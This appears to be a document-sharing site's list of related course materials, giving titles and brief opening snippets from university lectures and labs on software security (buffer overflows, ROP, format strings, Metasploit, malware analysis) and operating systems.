Lab 3: Introduction to Metasploit

Lab 3: Introduction to Metasploit Lab 3: Introduction to Metasploit Aim: The airm of this lab is to develop and execute exploits against a remote machine and test its vulnerabilities using Metasploit. Quick tool introduction: Metasploit

More information

Fall 2017 :: CSE 306. Introduction to. Virtual Memory. Nima Honarmand (Based on slides by Prof. Andrea Arpaci-Dusseau)

Fall 2017 :: CSE 306. Introduction to. Virtual Memory. Nima Honarmand (Based on slides by Prof. Andrea Arpaci-Dusseau) Introduction to Virtual Memory Nima Honarmand (Based on slides by Prof. Andrea Arpaci-Dusseau) Motivating Virtual Memory (Very) old days: Uniprogramming only one process existed at a time OS was little

More information

Security Workshop HTS. LSE Team. February 3rd, 2016 EPITA / 40

Security Workshop HTS. LSE Team. February 3rd, 2016 EPITA / 40 Security Workshop HTS LSE Team EPITA 2018 February 3rd, 2016 1 / 40 Introduction What is this talk about? Presentation of some basic memory corruption bugs Presentation of some simple protections Writing

More information

Smartphone (in) Security

Smartphone (in) Security Smartphone (in) Security Smartphones (in)security Nicolas Economou and Alfredo Ortega October 6, 2008 In this talk: 1. Introduction 2. Smartphone Security overview 3. Explotation and shellcodes for both

More information

Practical Malware Analysis

Practical Malware Analysis Practical Malware Analysis Ch 4: A Crash Course in x86 Disassembly Revised 1-16-7 Basic Techniques Basic static analysis Looks at malware from the outside Basic dynamic analysis Only shows you how the

More information

CSC 591 Systems Attacks and Defenses Return-into-libc & ROP

CSC 591 Systems Attacks and Defenses Return-into-libc & ROP CSC 591 Systems Attacks and Defenses Return-into-libc & ROP Alexandros Kapravelos akaprav@ncsu.edu NOEXEC (W^X) 0xFFFFFF Stack Heap BSS Data 0x000000 Code RW RX Deployment Linux (via PaX patches) OpenBSD

More information

Software Security: Buffer Overflow Defenses

Software Security: Buffer Overflow Defenses CSE 484 / CSE M 584: Computer Security and Privacy Software Security: Buffer Overflow Defenses Fall 2017 Franziska (Franzi) Roesner franzi@cs.washington.edu Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin,

More information

Memory Management. Disclaimer: some slides are adopted from book authors slides with permission 1

Memory Management. Disclaimer: some slides are adopted from book authors slides with permission 1 Memory Management Disclaimer: some slides are adopted from book authors slides with permission 1 CPU management Roadmap Process, thread, synchronization, scheduling Memory management Virtual memory Disk

More information

NET 311 INFORMATION SECURITY

NET 311 INFORMATION SECURITY NET 311 INFORMATION SECURITY Networks and Communication Department Lec12: Software Security / Vulnerabilities lecture contents: o Vulnerabilities in programs Buffer Overflow Cross-site Scripting (XSS)

More information

Invasion of Malware Evading the Behavior-based Analysis

Invasion of Malware Evading the Behavior-based Analysis Invasion of Malware Evading the Behavior-based Analysis Memory-Based Exploit Analysis of AhnLab MDS Feb. 21, 2014 Content Introduction... 3 Ever-evolving Malware Bypass Even Sandbox-based Behavior Analysis...

More information

Lecture 08 Control-flow Hijacking Defenses

Lecture 08 Control-flow Hijacking Defenses Lecture 08 Control-flow Hijacking Defenses Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Slides adapted from Miller, Bailey, and Brumley Control Flow Hijack: Always control + computation

More information

CSE 127 Computer Security

CSE 127 Computer Security CSE 127 Computer Security Alex Gantman, Spring 2018, Lecture 4 Low Level Software Security II: Format Strings, Shellcode, & Stack Protection Review Function arguments and local variables are stored on

More information

Exploit Development. License. Contents. General notes about the labs. General notes about the labs. Preparation. Introduction to exploit development

Exploit Development. License. Contents. General notes about the labs. General notes about the labs. Preparation. Introduction to exploit development Exploit Development License This work by Z. Cliffe Schreuders at Leeds Metropolitan University is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License. All included software source

More information

Atomizer: Fast, Scalable and Lightweight Heap Analyzer for Virtual Machines in a Cloud Environment

Atomizer: Fast, Scalable and Lightweight Heap Analyzer for Virtual Machines in a Cloud Environment Atomizer: Fast, Scalable and Lightweight Heap Analyzer for Virtual Machines in a Cloud Environment Salman Javaid Aleksandar Zoranic Irfan Ahmed Golden G. Richard III University of New Orleans Greater New

More information

ISA 564, Laboratory I: Buffer Overflows

ISA 564, Laboratory I: Buffer Overflows ISA 564, Laboratory I: Buffer Overflows Lab Submission Instructions To complete the lab, you need to submit the compressed files (either tar or zip) using the GMU Blackboard system. Please make sure that

More information

Secure Software Programming and Vulnerability Analysis

Secure Software Programming and Vulnerability Analysis Secure Software Programming and Vulnerability Analysis Christopher Kruegel chris@auto.tuwien.ac.at http://www.auto.tuwien.ac.at/~chris Heap Buffer Overflows and Format String Vulnerabilities Secure Software

More information

CSE 227 Computer Security Spring 2010 S f o t ftware D f e enses I Ste St f e an f Sa v Sa a v g a e g

CSE 227 Computer Security Spring 2010 S f o t ftware D f e enses I Ste St f e an f Sa v Sa a v g a e g CSE 227 Computer Security Spring 2010 Software Df Defenses I Stefan Savage Kinds of defenses Eliminate violation of runtime model Better languages, code analysis Don t allow bad input Input validation

More information

Stack Overflow COMP620

Stack Overflow COMP620 Stack Overflow COMP620 There are two kinds of people in America today: those who have experienced a foreign cyber attack and know it, and those who have experienced a foreign cyber attack and don t know

More information

Introduction to Operating Systems Prof. Chester Rebeiro Department of Computer Science and Engineering Indian Institute of Technology, Madras

Introduction to Operating Systems Prof. Chester Rebeiro Department of Computer Science and Engineering Indian Institute of Technology, Madras Introduction to Operating Systems Prof. Chester Rebeiro Department of Computer Science and Engineering Indian Institute of Technology, Madras Week 08 Lecture 38 Preventing Buffer Overflow Attacks Hello.

More information

I run a Linux server, so we re secure

I run a Linux server, so we re secure Silent Signal vsza@silentsignal.hu 18 September 2010 Linux from a security viewpoint we re talking about the kernel, not GNU/Linux distributions Linux from a security viewpoint we re talking about the

More information

1/16/17. Computer Programs and Processes. PHYSICAL: damage from either tampering, misuse, theft of equipment, or any combination of these

1/16/17. Computer Programs and Processes. PHYSICAL: damage from either tampering, misuse, theft of equipment, or any combination of these Computer System Security Threats Computer and Processes CSC362, Information Security PHYSICAL: damage from either tampering, misuse, theft of equipment, or any combination of these OPERATIONAL: outsiders

More information

CS 645: Lecture 3 Software Vulnerabilities. Rachel Greenstadt July 3, 2013

CS 645: Lecture 3 Software Vulnerabilities. Rachel Greenstadt July 3, 2013 CS 645: Lecture 3 Software Vulnerabilities Rachel Greenstadt July 3, 2013 Project 1: Software exploits Individual project - done in virtual machine environment This assignment is hard. Don t leave it until

More information

Secure Programming Lecture 3: Memory Corruption I (Stack Overflows)

Secure Programming Lecture 3: Memory Corruption I (Stack Overflows) Secure Programming Lecture 3: Memory Corruption I (Stack Overflows) David Aspinall, Informatics @ Edinburgh 24th January 2017 Outline Roadmap Memory corruption vulnerabilities Instant Languages and Runtimes

More information

OS Structure. Kevin Webb Swarthmore College January 25, Relevant xkcd:

OS Structure. Kevin Webb Swarthmore College January 25, Relevant xkcd: OS Structure Kevin Webb Swarthmore College January 25, 2018 Relevant xkcd: One of the survivors, poking around in the ruins with the point of a spear, uncovers a singed photo of Richard Stallman. They

More information

malloc() is often used to allocate chunk of memory dynamically from the heap region. Each chunk contains a header and free space (the buffer in which

malloc() is often used to allocate chunk of memory dynamically from the heap region. Each chunk contains a header and free space (the buffer in which Heap Overflow malloc() is often used to allocate chunk of memory dynamically from the heap region. Each chunk contains a header and free space (the buffer in which data are placed). The header contains

More information

Lecture Embedded System Security A. R. Darmstadt, Runtime Attacks

Lecture Embedded System Security A. R. Darmstadt, Runtime Attacks 2 ARM stands for Advanced RISC Machine Application area: Embedded systems Mobile phones, smartphones (Apple iphone, Google Android), music players, tablets, and some netbooks Advantage: Low power consumption

More information

Forensic Analysis Tool for Malicious Pdf Files And Shellcode Analysis

Forensic Analysis Tool for Malicious Pdf Files And Shellcode Analysis Forensic Analysis Tool for Malicious Pdf Files And Shellcode Analysis Azuan Ahmad, Bharanidharan Shanmugam, Norbik Bashah Idris, Ganthan Nayarana Samy, and Sameer Hasan AlBakri Abstract Portable Document

More information

ETHICAL HACKING LAB SERIES. Lab 13: Exploitation with IPv6

ETHICAL HACKING LAB SERIES. Lab 13: Exploitation with IPv6 ETHICAL HACKING LAB SERIES Lab 13: Exploitation with IPv6 Certified Ethical Hacking Domains: System Hacking, Penetration Testing Document Version: 2015-08-14 otherwise noted, is licensed under the Creative

More information

OS structure. Process management. Major OS components. CSE 451: Operating Systems Spring Module 3 Operating System Components and Structure

OS structure. Process management. Major OS components. CSE 451: Operating Systems Spring Module 3 Operating System Components and Structure CSE 451: Operating Systems Spring 2012 Module 3 Operating System Components and Structure Ed Lazowska lazowska@cs.washington.edu Allen Center 570 The OS sits between application programs and the it mediates

More information